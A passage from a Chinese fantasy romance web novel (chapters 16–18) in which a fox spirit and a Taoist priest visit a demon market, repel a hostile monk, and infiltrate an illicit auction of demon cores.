西街走过两个巷子口一拐,青石板路徐徐后退,直至面前出现了一个卖糖葫芦的老婆婆,两人才停下了步子。
“来两串。”
阿离从怀里掏出两枚好看的石头,其中一枚黑色的是在一棵千年老树下捡的,那老树年纪太大,不想化形,只一心将根盘旋在偶尔干巴偶尔湿润的土地里,另一枚是在河滩上捡的,潺潺流水旁,多的是那样透亮的石子。
老婆婆将石子接过,放进钱袋里,最后眯了眯眼看向祁渊,沙哑的声音缓缓放出一个“嗯”的音节。
老婆婆没给糖葫芦,红彤彤的糖葫芦妖市里遍地都是,她的糖葫芦是专门留给凑不齐铜板的小童的。
“那阿婆看出我了?”祁渊在阿离身后跟得很紧,有些像依赖娘子的小夫君。
祁渊没来过妖市,他记忆里的妖怪很喜欢迷路,更喜欢他,所以从不带他来,也告诉他不许来。
“能守门的妖怪都是响当当的厉害,看出你是个凡人算什么?”
看出我的身份才厉害呢……
小妖怪颇有神采地想。
“就到这儿吧,你去找灵瞳花的下落,找到了就离开。妖市这种地方不是你这个凡人可以顺便待的地方。”
“你呢?”
阿离:“我啊,我去给你买点花糕,春日百花齐放,想来花糕的滋味也不会太差。”
祁渊盯着阿离远去的背影,有些落寞。
祁渊先前
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还会在心里问自己:
她是真的不记得他了吗?
还是假装的?在吊他的胃口?
但慢慢地,他便知道了答案。
因为她从前不会这样,但她也说过,下次见面,也许不会再喜欢他。
分明是最不喜欢守诺的人,却偏要把一句随口的诺言守进坟墓里去。
安稳安稳,到头来也不过是欺骗自己的把戏。
二人分离在一个最常见的岔口。
摆脱了难缠的道士,阿离绕过一条又一条如扬州城中大小的巷子,离奇的是她并未迷失方向,反倒是愈来愈欢快,如新生的稚鸟。
“老板,可有花糕卖?”
小狐狸嘴馋,绕过重重小巷只为这一口香喷喷的花糕。
莲花清香阵阵,倒是出乎意料地与这满街香浊之气融合得恰到好处。
花妖修为不过百年,算‘小辈’。
有了生意,这只卖花糕的小花妖却依旧无精打采,只见她随意拿起一张牛皮方纸,打开比她高出半个头的蒸笼,将一块热腾腾的花糕放在方纸中央,随后很熟练地将其包成一袋。
“给。”
阿离无视她的举动,反倒是托着脸看她,问:“你知道,徐长梦是谁吗?”
啪地一声,一袋花糕就这么落在地上。
“徐大哥?”面前的小花妖愣住了,一双杏眼瞪得很圆,像是难以置信。
阿离将落在地上的小方块捡起,抖了抖灰,语气平和地说道:“看来认识。”
远道而来就是客,阿离径直走向小花妖身后的棚子里,随意地往长凳上一坐,扒开不算薄的牛皮纸,一块精致的花糕被她咬进嘴中,细细品味。
小花妖落后两步跟进来,放下棚子上的破旧粗布,坐在了她的对面。
阿离设下一个法术,隔开声音,然后再从袖中掏出一块透亮的绿叶令牌,塞进小花妖手里,“我是绿衣使者,阿离。现在可以好好与我说说了,徐长梦,究竟是谁?”
狐狸的眼睛聪慧,也最易诱惑人心,小花妖被她直勾勾盯着心尖上发毛,支支吾吾地说道:“我叫阿朵,徐大哥,是花糕铺子的老板。”
“他,只是个凡人。”像是下了某种决心,阿朵紧攥着身上的藕粉褶裙,将它揉出一团皱纹。
“凡人?”
“是。一个月前,徐大哥突然失踪了,就,就是那天,突然间,家里没人了,姐姐们也都不见了,只剩了我一个。”
“起初我并没有在意,因为姐姐们通常会约好日子上山修炼两三月,我年纪尚小,总没跟着去。但,莲池里的荷花突然枯了!我这才知道了不对劲……”水灵灵的眼睛蓄满了眼泪,像湖水,清澈而悲伤。
阿朵生长在扬州城里一处不起眼的莲池,她最迟化形,莲池里除了她还有九只莲花妖。
莲池旁就是一间寻常的花糕铺子,铺子老板叫徐长梦,一个颇有文采的名字。
有一天,莲花妖阿朵懵懵懂懂的闯进了铺子,懵懵懂懂的当着一个凡人的面化出妖形,就这样,徐长梦笑着将莲花妖扣了下来当长工,每天结十个铜板的工钱。一块花糕四枚铜板,十枚铜板可以吃到两块花糕,剩下两个,可以买一个惟妙惟肖的糖人。
阿朵很开心,她觉得自己比所有妖怪都要开心,每天十个铜板,一个月就是三百个铜板,她可以买好多好多好吃好玩的东西,这是其他只知道泡在水里的莲花妖都得不到的。
可一个月前,她的徐大哥失踪了,莲花池子里的莲花突然没了生气,阿朵再闻不见其他的莲花清香了。
也就是这时,城里突然冒出了黄大仙渡劫失败的说法。
神仙降罚,说要整个扬州城妖怪的命。
妖怪们诚惶诚恐,装凡人的装起了病,不装凡人的只能跑来妖市,求一求守门人婆婆的庇护。
多讨厌的黄大仙啊!
16. 莲花妖丹(二)
“那封信呢?可是你写的?”
阿朵怯生生地望进那双漂亮的眉眼,“是。”
阿离:“全部都是吗?”
单看眼前的小妖怪,显然是不知道内情的。
但阿朵依旧笃定,“是的。”
阿离将那封染过血的信拿出,面前的小妖怪不谙世事,因而惧怕那血红的真相,阿离贴心的将信纸摊开在阿朵面前,“认真看看,这真的全部都是你写的吗?”
信中字迹工整娟秀,落笔中似乎还带着主人因年岁小而凸显出来的稚嫩,前半段写着与阿朵所说一般无二的悲惨遭遇,后半段却没了伤心的情绪,转而大义凛然地检举起花月楼的种种行径。
而信件最后,却怪异的添上了徐长梦的名字。
方才阿离一见到阿朵,便更加肯定了此信是出自另一人之手的猜测。
阿朵见了信中内容,脸上展露出了一片愕然。
“是谁让你写的信?”
会是谁,敢检举花月楼?
阿朵心虚地怯了场,“是一个凡人,他蒙着面,我不知他是何模样,但他和我说,只要写求救信送去涂山,就可以救下整个扬州城的妖怪。还有,徐大哥。”
“于是我写完信,便着急用树爷爷的信筒,将信送了出去。”阿朵口中的树爷爷,正是守卫扬州城的妖界使者,他活了将近万年,但却因为一个可笑的黄大仙传言,死在了城外山林,死在了这个他守了一辈子的地方。
阿离安静地听着,心情复杂,手中的花糕早已吃完,只余一张薄纸。
“凡人?怎么会是凡人呢?”好看的眉头紧锁,思绪凝重。
“凡人!”外边一声稚童的喊声打断了阿离所有的思绪。
“东街有凡人在闹事,我们快去看看吧!”
凡人闹事?还以为是什么奇怪的事。
“听说那人被五哥打了,还不还手……”
“好惨啊。”另一稚童帮腔道。
有什么惨的,活该!
“我听说那凡人还是来要灵瞳花的……”
……
灵瞳花?!
“不仅如此,五哥还从那凡人身上摸出一堆黄符,可吓人了!”
“大人?你……”话音未落,阿朵便看见方才还一本正经的大人此时如离弦之箭一般飞了出去。
“阿离大人!”
妖市东街。
满街的妖怪围成一个大圈,圈内是一个高大俊朗的凡人,还有一个妖妖信服的糙汉小孩。
小孩看上去只有凡人十六七岁的模样,身穿布衣,脚踩草鞋,他是妖界守门人的孙子。妖市的稚童们都依赖又崇拜地喊他一声“五哥”。
‘五哥’双手叉腰,“一介凡人道士,也敢来要灵瞳花!?”
祁渊初来乍到,不是妖怪,不懂妖怪们的规矩,某只精明的狐狸精告诉他灵瞳花妖市有卖,却藏着掖着不告诉他,妖市不会卖。
祁渊今许几岁?
总之,比眼前气势汹汹的小孩大上不少。
所以,方才这小孩对他动手的时候他只是尽力躲开,躲着躲着就落了下风,这事传开了,就变成他一个大男人在一个小孩手里挨了欺负。
这其实也挺好,要是一不小心被那只薄情的狐狸听见,说不定会紧张的跑来护他一回。
但还没等到薄情的狐狸,意外却先一步来了。
祁渊藏在袖袍里的收妖符被一只小妖怪摸了出来,这下,妖怪们彻底沸腾了!
“是道士!怎会有道士混进来!他不会是……来抓我们的吧!”妖怪们顿时间大喊大叫起来。
“大家不要害怕,我们合力抓住他!”
什么都没干的可怜道士顺利激起了众愤,妖怪们横眉怒目,抄起家伙准备进行围殴。
这般离谱的一幕被极速赶来的阿离撞见,“慢着!”
气喘吁吁的狐狸精站在道士旁边,解释道:“这人是我带进来的,别动手。”
妖市却有规矩,凡人入内,得有妖怪愿意为其做担保。
“你的人?”妖怪们看着面生的狐狸,疑问颇多,“你可知道他是道士?身上藏了一堆符咒,可是要将我们整个妖市一网打尽?我告诉你,我们可不是好欺负的!”
众妖窃窃:“是啊!”
阿离当真无话好说,她挑着空隙对祁渊剜了一眼,脸上写着:说好不惹麻烦的呢?
随即变了一副脸色,朝天竖起三指发誓道:“我阿离,愿意为祁渊作保,若他对妖族有半分敌意,我,以死谢罪!”
众妖惊呼,因着阿离这份赤忱之心,决定不再追究祁渊的身份。
“下回来妖市,记得时刻跟在小娘子身边,要不然,又要闹乌龙。”好心的妖怪来到祁渊身旁,提醒道。
阿离瞧了眼对方饱满妖娆的身姿,忍不住翻了个白眼,随即转头,面容和善地对一众妖怪喊道:“竟然无事,大家快散了吧!”
“这位‘小公子’,”阿离叫住方才为难祁渊的小孩‘五哥’,“怎么称呼?”
漂亮的眼睛笑起来,眯成一道弯,像冷白的月牙,也像林中的蜿蜒小溪,清清亮亮的。
‘五哥’耳根子一下子红了起来,这种红很快蔓延到了脸颊,整只妖怪呈现出十分窘迫的状态。
“我听他们都称你五哥,辈分在前,我可以叫你‘小五’吗?”似乎看出了对方的窘迫,善解人意的狐狸精笑道。
小五猛猛点头,这下连两只手掌都红了个透。
道士见了,心里涌起了不合时宜的烦躁。
“走吧,找处可以乘凉的地方坐下来,我们再好好聊聊,灵瞳花的事儿。”
“小五可知道什么好去处?”
小五心性纯净,丝毫听不出狐狸嘴里的弯弯绕绕,“去我家吧,婆婆藏了好些漂亮的茶叶,一直说是要请贵客的。”
小五嘴里的婆婆便是妖市守门人,那守门人嘴里的贵客,又会指谁呢?
阿离笑而不语。
两人跟着小五去了他家。那是一个很普通的小院,墙篱上爬了许多厚绿的藤蔓,藤蔓下是一株又一株的野花,它们受到主人的精心照顾,正茁壮成长着。
院子大门似乎并没有很好考虑高个子的感受,阿离注意到祁渊进门时被迫低了头,一路沉默不语的凡人,此时在太阳余晖下,就像一个镶了神光的仙。
有言在先,阿离的确觉得祁渊更适合当神仙。
虽然能不能当神仙并不是由她决定,但若她是那无尽天道,她愿意给祁渊一个很高很高的神位,他在高处,可以不像凡尘里的君子,他仍然可以是寡言,但一定要收起棱角,普渡众生。
这是阿离眼中最合格的神。
但,阿离心中有个声音不断提醒她,这不可能。
凡人永远是凡人,凡人成仙,千万之中取一二。
成神是上天的事,不是她的事。
祁渊在她面前,只是一个稍微厉害点的昆仑山道士。
“这是上好的西山白露,听说是前朝皇帝最爱喝的一种茶,婆婆舍不得喝,用秘法藏了几十年。”
小五只敢掰出一点茶叶为二人沏上一壶茶,唯恐掰多,惹得婆婆徒生闷气。
“守门婆婆她何时回来?”
小五支棱起下巴,“一般日落就归。”
祁渊将滚烫的茶水缓缓送入口中,缓缓开口,“竟然如此,那门外之人,便是来客了。”
客?
小五对道士的话听得云里雾里,一知半解。
他家在妖市,家里的婆婆是妖市守门人,妖怪们愿意和他做朋友,更愿意来他家当客人。
可他听道士的意思,不像是指他的朋友们,更像是在说一个陌生的坏人。
所以,小五也跟着对家中的大门警惕了起来。
这可把阿离逗笑了。
一开始,旁边的狐狸精只是勉强的抿着嘴巴,铆足了力气才把笑意憋在心里,但是真的忍不住,特别是在她看见祁渊那张严肃的脸后。
祁渊的眸光转而落在她身上,锋利的眉尖微微蹙起,不带任何突然被嘲笑的糟糕情绪,而是脱口而出,用自己都意识不到的语气,呵斥了一句,“有什么好笑的?”
这一瞬间,只有这个正经道士在感伤,他费尽心思想要重新遇见的妖怪,就这么完好如初的站在他的面前。
不是做梦,是离他很近的现实。
可她还是不断地让他深陷梦境。
祁渊还是猜不透,她是真的忘了,还是旧事不重提,以为自己就是那个人的转世?她觉得他死了就不用负责,她一点都不怕自己会从森森地狱里爬回来找她,叫她一辈子不得安宁……
阿离怔了又怔,笑容停在脸上,很刻意地回避起了对方突然暴露杀意的眼神。
什么世道?!什么人啊?!
小五歪着头:这俩怎么有点奇怪?
疑惑间,院子的大门被一道怪力撞开,怪力余威甚至可以将小五扫飞,所幸祁渊出手,将这道恐怖的力气一剑斩断,这才稳住了少年的身形。
小五慌慌地盯着祁渊手里的金色长剑,“多谢。”
祁渊温声提醒,“去屋里躲好。”
小五犹豫了一下,最后还是选择跑进了屋子。
屋子有婆婆设下的法阵,可暂时护住他,但若是再有几道像刚才那般的招数呼来,再坚硬的屋子都是招架不住的。
他希望婆婆可以快些回来,可就是这样一想,小五的心彻底悬了起来。
屋外,祁渊看着留在原地的阿离,极为苦恼的蹙了一下眉头。
阿离:“妖市是妖族的地盘,我身为妖界使者,自然不能退缩。”
“而你,一个和尚,竟然可以大摇大摆的走到此处,想来是有几分真本事。”
来人戴着笠帽,
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手里握着写满符咒的幡,阿离初见此人的装扮,竟觉有些紧张。
佛门慈悲,佛法浩瀚,妖怪们最经不住的,便是和尚诵佛经。
“贫僧,是来除妖的。”
这人自称‘贫僧’,却不道来路,身量高大,身上的衣服却破破烂烂的,阿离看过去,隐隐约约看见他的手臂上带有大片分不清是何形状的黑色纹身。
语气狂妄,不慈悲,犯杀戒,是为恶僧。
这和尚的打扮,倒是和前些日子在江家听闻的高僧形象吻合。
阿离:“你是如何进来的?这一路上,又除了多少妖?”
“守门的老妖怪一见我便逃了,我自然是走进来的,一路上,没见到几只妖怪,大约是得了那老太婆的消息,纷纷躲起来了。”和尚说话时语气轻蔑狂妄,话里话外都透露着他对妖怪的厌恶和对自己的震慑力的满足。
“我今日来寻灵瞳花,顺道收一收,妖界绿衣使者。”
灵瞳花、妖界绿衣使者,针对性极为强烈。
阿离轻笑,“这么自信?”
自大的和尚忽略了她的挑衅,转而关注起了祁渊,“你是人?怎么和妖怪混在一起?”
和尚那黑漆漆的目光落在祁渊身上,语气疑惑。
“不过,无所谓。”
话音刚落,那和尚手里的幡无风自动,一串符音仿若锋利的剑刃夺空而来,梵音脱口,顿时间,阿离只觉五脏六腑都如被尖锐的银针扎了般疼痛。
无处可躲,只好承下这钻心之痛。
但下一秒,一股暖流从手掌的位置开始延及全身,她被护进一个温暖的怀抱里,当疼痛开始消解,眼前的人越来越清晰,越来越熟悉,就好像,他们曾经也像这般相互依靠过一样。
“我的话,你还是一句不听。”
“妖界使者的身份,当真如此值得吗?”
祁渊的话阿离听得云里雾里,只觉头晕。
祁渊挡在阿离身前说道:“佛音对妖族的影响极大,你退后一避,这里交给我。”
看着对方高大的背影,阿离罕见的选择不犟了,“打不过记得喊我。”
“嗯。”得对方一句答应,阿离退到了屋子里。
和尚对祁渊感到震撼,此前,从来没有一只妖怪可以逃过他的审判,从而逃离死亡,但面前这个名不见经传的道士却轻而易举的做到了。
“你是谁?”
随着红衣女子退后,和尚目睹男人从细致温柔到戾气横生的转变,不过一瞬。
和尚不怵,因为他自己就是疯子。
“不管你是谁,今日都得死。”
和尚手里的幡腾空而起,霎时间直入云霄,方才晴朗的天空倏然被滚滚浓云顶替,一道肉眼不可见的杀阵渐渐在白云间显形。
祁渊抬眼望去,入目皆是已成亡魂的鬼影。
祁渊淡然处之,宽大的墨色衣袍骤然被风灌满,犹如大船之帆,滚滚而动,时而在碰撞时,发出如水中钟磬般沉闷的声响。
杀阵仅仅维系了半刻钟便怦然瓦解,在祁渊看不见的地方,和尚的手掌上,鲜血汩汩地沿掌纹溢出,一张大手正颤抖着,宣告他的自不量力。
深俊的眼眸冷冷地笑了。
“你的力量不属于自己,长久以往,必然疯魔。
今日我将你体内的霸道之力尽数除去,愿你今后,成佛,渡魔。
世上并非非黑即白,并非所有妖怪都是恶,所有凡人都是善,佛者慈悲,怎可一意断之?”
和尚跪在地上,猛然吐出一口黑血。
他望着击败自己的男人,望着他手上,那颗沾满鲜血的黑色佛珠。因此,他生平第一次有了心甘。
“这和尚就这么走了?不是说要杀我吗?”阿离亲眼目睹了方才祁渊呼风唤雨的全过程,有些震惊,心底暗自将昔日仇恨尽数转变成了崇拜之情。
但不能宣之于口。
祁渊收剑回鞘,沉默不语。
只有心大的小五跳出来称赞祁渊,“我可以拜你为师吗?!”
祁渊有意无意地往阿离的方向看了一眼,答道:“我是凡人。”
“凡人怎么了?婆婆常说,万物平等。凡人看轻妖怪,难道我们这些妖怪,还要小气的讨厌凡人吗?!”
正在沏茶的妖精听了这话不由得一愣,然后才心虚地将杯中茶一饮而尽。
“可有些妖怪,就是特别讨厌凡人,怎么办?”
“我不是‘有些妖怪’,我不讨厌!”
“祁大哥你这么厉害,怎么会有妖怪讨厌你呢?!”
可,就是有妖怪讨厌他。
“阿离姐姐,你会讨厌祁大哥吗?”
忽然被问,阿离没由来的慌了一下。
“不会。当然不会。我喜欢还来不及呢。”
看啊,现在这只讨厌他的妖怪在装死,不仅如此,还要假装喜欢他。
17. 莲花妖丹(三)
守门婆婆回来时已过黄昏,懂事的小五早已将锅水煮热,炒了几道小菜出来。
祁渊在旁边帮忙打下手,宽袖被撸起放在两条肌肉匀称的健硕手臂上,青筋隐在皮肤之下,带着一种若有若无的诱惑。
阿离悄然咽了口唾沫,不知第几次将眸光若无其事的转向一旁。
作为狐狸精,阿离自然是好色之徒。
守门婆婆躺在院里的藤椅上小憩,阿离则坐在一旁,无聊的把玩着树枝,偶尔在木桌上用法力画出一个小棋盘,按照记忆里的棋谱落子,但总是失败,半晌过后,用法力绘出的棋盘连着棋子一起烟消云散了。
少女用手撑着额,满腹心事。
守门婆婆即使在睡梦里也不忘呓语一句,“闻见饭香了。”
阿离顺着话音细嗅,发现院子里的花香正逐渐被醇厚的米香遮盖,大米经火慢煮,像一个人从青涩到成熟,历经沧桑,才终于把自己最浓厚饱满的一面展现在大千世界面前。
“现在会做饭的男人是个稀奇货。”
守门婆婆醒了,弯着腰,弓着背,坐在了阿离旁边,等待好菜上桌。
“他有没有给你开过小灶?”
阿离被问得措不及防,只好诚实的摇头,又笑,“我们又不熟,最亲密不过……”
每日渡气……
“不过什么?”
阿离的眸光闪了闪,“不过,一道杀人,合谋做买卖。”
“这种男人要是真稀奇,今日一下遇上了两个,算好运气吗?”
“小五不算男人。”
“至于运气嘛,时好时坏,说不准的东西。”
不知是不是老人都言哲理的原因,阿离听不大懂。
约莫一炷香后,热腾腾的饭菜终于端上了饭桌,四个人吃饭时其乐融融,阿离和小五负责打闹,守门婆婆似乎平常容忍惯了,未受半分影响,祁渊在旁安静吃饭,嘴角上微微噙着些笑意,他们看上去真像一家子。
院门‘砰’地一声关上,似乎并不担心吵醒院中已熟睡的老人。
灵瞳花被买走了,据说买家是紫衣使者萱宁。
“你不关心你的毒吗?”阿离打量着对方无比平静的脸庞,问道。
“命由天定,就算再关心,也变不出解药来。”何况几番错过,说不定是他命中注定有此一劫。
“我不信这个。”
小狐狸气鼓鼓的,不知不觉就把道士落在了身后。
“人定胜天,这世上没有什么是不可改变的。”
天色暗了,今夜妖市被一个和尚搅翻了天,不太平,遂而没点多少灯。
她的面容藏在阴暗里,辨不出神情。
阿离不信命,所以才会跨过千山万水来到扬州城,将这一座城翻过来翻过去,只为寻到她的妖心。
可人生在世躲不过命运,而命运又的确讲究机缘,机缘巧合之下,阿离遇见了祁渊,可她却依旧没能寻到关于妖心的蛛丝马迹。
“我会找到解药的。”像喃喃自语,这句话音极低。
但祁渊还是一字不落听了个清楚。
但有时候,装疯卖傻会是更好的选择,“什么?”
“没什么,你上来一些,走前面。”
“前面太黑了,我有些认不出回去的路。”
“祁渊,你点盏灯吧。”
阿离的语气沉下来,闷闷的,撒娇一般。
祁渊拒绝,“不点,这路上亮着,一点也不黑。”
最终祁渊还是妥协了,手掌上化出一团火,照亮了两个人面前的一小片路。
临出妖市,阿离看见前方出现了一团亮光,定睛看去,竟是先前的莲花妖阿朵提着灯笼在等她。
“阿离大人!”阿朵见到阿离,激动的喊了一声。
阿离跑过去,问:“怎么了?”
阿朵将一张图纸塞给阿离,“这是花月楼在城外的据点,也是那个人塞给我的。今日大人走的太急,没来得及给。”
“若是大人有姐姐们,还有徐大哥的消息,不论是什么样的,都要记得告诉我。”
“阿朵在此,多谢大人了。”
***
二月,扬州城正值寒春。
城外山林依旧是一层青绿,今晨刚下了雨,天是灰蒙的,地上布着粘稠的泥土。
阿离换下红衣,改为庭芜绿外衫与锦罗蚕丝襦裙,手中还是那把伞面点缀着清冷梅花的油纸伞,又见她的红唇粉黛,美貌如春风红尘。唯一不同的是今日褪了昨日的神武,一袭温柔可人,让人徒然添了几分怜爱之意。
阿离脚边踩开泥泞,闲步朝远处一座院子走去。
这院子所在,便是昨日阿朵送来的地图上所画。
到地方了,阿离收伞敲门,只两下,门缝里伸出一张扁脸,问她为何敲门。
“听闻这里,做丹药买卖,我最近走了霉运,便想着过来碰个运气。”说着,阿离掏出一块碎玉塞进扁脸男手里。
扁脸男一脸嫌弃,细细摸过碎玉的质量,观察打量间闻见一道若有若无的气息,这才开门将门外的少女放了进来。
“从哪里来的?”扁脸男多问了一句。
阿离笑道:“涂山旁边的山沟里。”
涂山,妖狐一族的地盘,妖界妖都所在。
扁脸男原本放下了一半的心又悬了起来,他仔细打量起来人,确见她一身媚骨又好似不染风尘,与涂山那些高傲的狐狸精一模一样。
扁脸男夹着嗓音,低眉打量,“因何而来?”
“考试不顺,落榜了。”对方垂眸,酿出一抹失落。
听见是这个理由,扁脸男不再细究,最终对阿离说道:“快去吧,待会儿买卖就要开始了。”
阿离谢过,只身前往里院。屋子里早就坐满了人,阿离挑了末坐,悄声坐好。
进了陌生的环境,阿离习惯性的打量起周围的人,舍远取近,她抬起眼眸,首先便是坐在自己对面的男人。这人阖着眼睛,但应是在假寐。对方不醒,倒是方便了她的行动。遂而,阿离开始大胆地观察起他的容貌。
男人面容冷峻,棱角分明,如一座严峻的神塑。他的眉是剑眉,长眉直飞入鬓,许是闭着眼睛的缘故,阿离觉得这份锋利中应该带有几丝温情。再看鼻梁高挺,一侧闯进光明,另一侧剩下黯淡的轮廓。
阿离轻扯嘴角,有种熟人相见分外尴尬之感。
再细细去观察别的人,发现这些人皆是三四十岁的中年皮相,在座除了阿离之外还有一名装扮富贵、气质卓绝的女子,只见她高高仰起自己如天鹅般的颈脖,将他人的殷勤视若无睹,阿离轻轻扫了一眼,不敢打草惊蛇。
“这位姑娘?”声音是从旁边传来的,阿离离开许久的神识骤然被拉了回来,神色恢复如常。
她未来得及应,更
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未来得及收回打量的目光,于是当对面之人睁眼时,两人恰好就四目相对了。
祁渊敛着眉,面无表情的脸上平添了几分凌厉之气。
阿离轻嗯了一声,以回应旁边滔滔不绝问候自己的人。分出余光去捕捉祁渊的神情,发现对方实打实的给了自己身旁的人一记眼刀。
阿离在心里偷笑,面上却不显。
“姑娘?你是为何来的?待会儿可要买什么合适的妖丹?要是身上没钱,跟哥哥我说。”旁边这人见她貌美,一个劲的献殷勤。
阿离瞥了他一眼,见他一副鼠目寸光的猥琐模样,看着只觉难受。在不知不觉间,阿离早已催动妖力将在座众人的修为底细探了个明白,随后故作惆怅的叹了口气,“我考试落榜了,自然是要买大补的妖丹,我听闻这里是花月楼特允的地方,于是就想来碰碰运气,这位……可知今天会出什么等级的妖丹,或者是灵药吗?”
眼见那人的手就要搭下来,阿离悄无声息地一躲,这些动作全部被对面之人收入眼底。
考试?‘落榜’?
祁渊在心底冷哼,真是睁眼闭眼瞎话就来。
屋内一道屏风后藏着暗门,暗门虚掩着,门后立了两道影子,一男一女,话音断断续续,里面的人施法隔了音,外边的人听不见。
“末座那两只妖怪是怎么回事?”约莫四十岁模样的妇女挤着脸上的胭脂粉,面容阴翳地望着屏风外,她的目光落在末坐的两人身上,彷佛随时会现出原型将外面的两名不速之客给生吃了。
另一人顶着一张扁脸,显然是方才的应门之人。
他对妇人的态度看起来十分恭谨。妇人话音一落,他便从怀里掏出了一块碎玉和两片叶子,妇人一一扫过,神情愈发沉重,她听扁脸男解释说道:“我仔细查了那两人交上来的信物,那女子递来一块碎玉,上边沾有桃花香气,再看玉上花纹,是涂山之人。”
“至于另一位,身份更是不简单。”扁脸男将那两片附着浓郁妖息的叶子递给妇人。
“涂山?青鬼?”妇人意味深长的将这两个词念了一遍,又细细思索一番,突然发觉此中似乎藏了几分玄机,但细抿起来,又觉不对。
最近怎的这么多涂山的妖怪来扬州城?前阵子的绿衣使者……
她们模样不像,难道是用了幻颜术?
那也不对啊,那小妖不可能还活着!
“那涂山小妖自言考试落榜,剑走偏锋,却偏到我们这儿来了。”扁脸男丝毫未察觉情况不对,语气奸佞,像极了皇宫里专讲闲话的公公。
“这山沟里的妖怪将来是要当使者的,不管什么地位,她今日来了这一趟,就难免和我们有牵扯,依小人所想,若今日帮了这小妖一把,日后妖界内部也会有我们的一份势力,将来办事也会方便许多,还请大人仔细斟酌。”
妇人又将扁脸男递来的叶子拿起,凑近鼻尖细嗅,直至一缕极轻的妖息落入心间,才响起一道话音,话音里带着鄙夷又好奇的笑,“可是,青鬼一族,乃是妖主大人亲手剿灭的,怎会有余孽?”
扁脸男并未意识到妇人愈来愈深沉的脸色,只觉自己聪慧无比,“所以我们更应该拉拢……”
“杀了。”
扁脸男:“是……啊?”
“对,不错,拉拢也的确是个好方法。”那妇人忽然变了主意,“只不过,我们的礼物,他们会收好好收着吗?”
18. 莲花妖丹(四)
外边,阿离闻见一股不大自然却又颇为熟悉的妖气,似乎是从对面之人身上传出的,她疑窦似的蹙起眉头,看似不经意地扫清了自己面前的空气,话音里询问的意味不轻不重,“我听闻妖主大人三个月前灭了一族妖怪,那些妖怪的妖丹个个都是顶好,也不知今日会不会见到?”
闻者一笑而过。
“花月楼的这份生意见不得光,什么样的面子敢在妖主大人眼下拿妖丹?况且谁人不知今日这里卖的都是些糙货,姑娘可别装不懂,想那青鬼一族,可是上古妖族,我听闻咋们的妖主生性残暴,现今妖主能取了他们的狗命,想必那妖丹,定是被妖主大人生生捏碎,无论如何都是轮不到我们的。”
说话间,阿离装作不经意地抬眼瞧了祁渊一眼,还在假寐。
对啊,青鬼一族,她记得是料理干净了,怎么还会有余孽呢?
不过竟然没了余孽,祁渊身上的妖气是从哪来的?
“姑娘想要大妖丹,这几日可以在花月楼里碰碰运气,在那里卖的妖丹,可比这种地方的成色好了不知道几倍。”
她嘴角弯着,看着男人的脸笑了笑,“花月楼?我去了呀,没见什么买卖,难不成是他们故意躲着我,才将我打发来这种地方?”
“姑娘你这是哪里话,你是什么厉害的人物吗?花月楼为何要提防你?花月楼在扬州城就相当于霸王般的存在,就连监察使笛允都不放在眼里,要我说,姑娘是不知道方法,这才碰了壁。”
终于问出了些许有用的线索,阿离还想再问,却不想被一道声音打断。
“让各位久等,是我招待不周了。”一个响亮的巴掌声从门外落下,一行人从外边走了进来,领头的是一位女子,淡粉色的衣裳将她婀娜多姿的身材彰显得淋漓尽致,一张圆脸上像是打了半盒胭脂,白得发亮。
“什么方法?”随着话音落下,阿离眸中闪过一丝不易察觉的红色。
下一秒,对方似乎着了某种咒术,恨不能一个劲地将自己所知全数托出,但时间有限,只能长话短说。他说在花月楼买妖丹,要一句暗语,一块玉佩。
红光又是一闪,方才十分热情的妖精像失了魂一般转过头,定住。目光锁定方才进门的领头女子。
领头女子一脸笑意的绕过众人一圈,将客套的好话说了一遍,便进入了正题,“各位,老规矩,价高者得。”
说完,身后的一行人开始打开各自手中木盒,浓重的妖气夺空而出,久久萦绕不去。
“你们说,这么大的场子要是混进了道士可如何是好呀?”
在场的妖怪皆是一愣。
唯独对座之人,不紧不慢的睁开了假寐的眼皮。
这话是那名气质卓绝的紫衣女子说的。
阿离对上前座女子探究挑事的目光,怼道:“怎么会呢?这么大的场子要是真能混进道士,那花月楼就是搬起石头砸自己的脚,自讨苦吃。”
领头女子陪笑:“我们可是做了十足的防备,只要这人是个凡人,甭管道士不道士的,绝对混不进来。”
“是吗,那我,可就放心了。”
闻言,阿离的眸光与对座之人对上,齐齐沉了下来。
小闹剧结束,妖丹买卖正式开始。
第一枚妖丹开价才五十灵石,比起在花月楼正殿里卖的那些,低了几百倍不止,可谓是物美价廉。所有人都像是疯了一样,激动的拍桌而起,然后放声高呼比拼钱财。
这些人存了不少灵石,经过几场竞争,他们大多满载而归,但内心还是没有满足。
那可是妖丹!吞下一个不知可以涨多少年的修为!可以少多少年的努力!
没有人不去争抢,除了末位之人。
阿离面容冷静的逼自己看完一轮又一轮,心里却像被刀绞似的难受。
夺妖丹,就好比人活着的时候被扒开血肉,生生剥去血肉之下的骨头,剔骨之痛就像是在生的边界剖开了死的窗户,大风朝里灌,砸得人面目全非。
妖丹离开身体之后,妖怪依旧能够活着,失去妖丹,不过是失去了努力半生修习的妖力,它们退回原形,不知又要历经几百年才能勉强化形。
可花月楼怎能容忍他们的存在……遂而抽筋拔骨,再狠决地杀死他们。
这些妖怪活了不过百年,尚是懵懂的年纪,竟被他人这般残忍对待。阿离不敢想他们的死,遂而有了想捂住耳朵的冲动,但是她没动,只静静地看着、听着,逼迫自己去记得今日的场景。
和阿离一样并未参与的还有一人,祁渊自拍卖开始时终于不再装睡,冷峻的眸光时不时落在对面的小妖身上,眼睁睁地看着她的神情从泰然自若到如坐针毡、难以忍受,这似乎与先前开朗活泼的妖怪判若两人。
不似其他妖怪妖气的浓郁,她身上常携着一抹清淡自然的桃花香,很好闻。现今这香气染上了悲伤的咸味,祁渊垂眉,眼眶似乎被她引诱,竟也感觉到了几分咸味。
祁渊将墨色衣袍的一角攥在手里,擅自主张打开了对面之人的心门,一声不吭,闯了进去。
“二位,主人有请。”不知过了多久,一名婢女从外边进来,低声对两人说道。
没有人注意到有人离席,阿离亦不知道,这一趟是何境遇。
走过冗长的廊道,两人一路无话,轻柔的风吹过耳畔,隐约听到一些草絮窸窸窣窣的响声。两人来到一间屋子之前,带路的婢女进去通传,阿离这才有机会开口。
“青鬼妖气,道长是从哪里得来的?”
闻言,对方分出半个眸光看她,避开了话锋,“你我之间,好似大多都是问句开头,像审犯人一样。”
阿离轻哼一声,没有回话。
其实昨日得了地图,二人便开始计划。
“不论所谋何事,妖族都会在此处设下一个法术分辨身份,防的就是有凡人误闯,还有道士突击。所以,明日由我一人潜入其中,好好探它个虚实。”说完,阿离将胸前的一缕墨发扔回身后。
祁渊:“不可。”
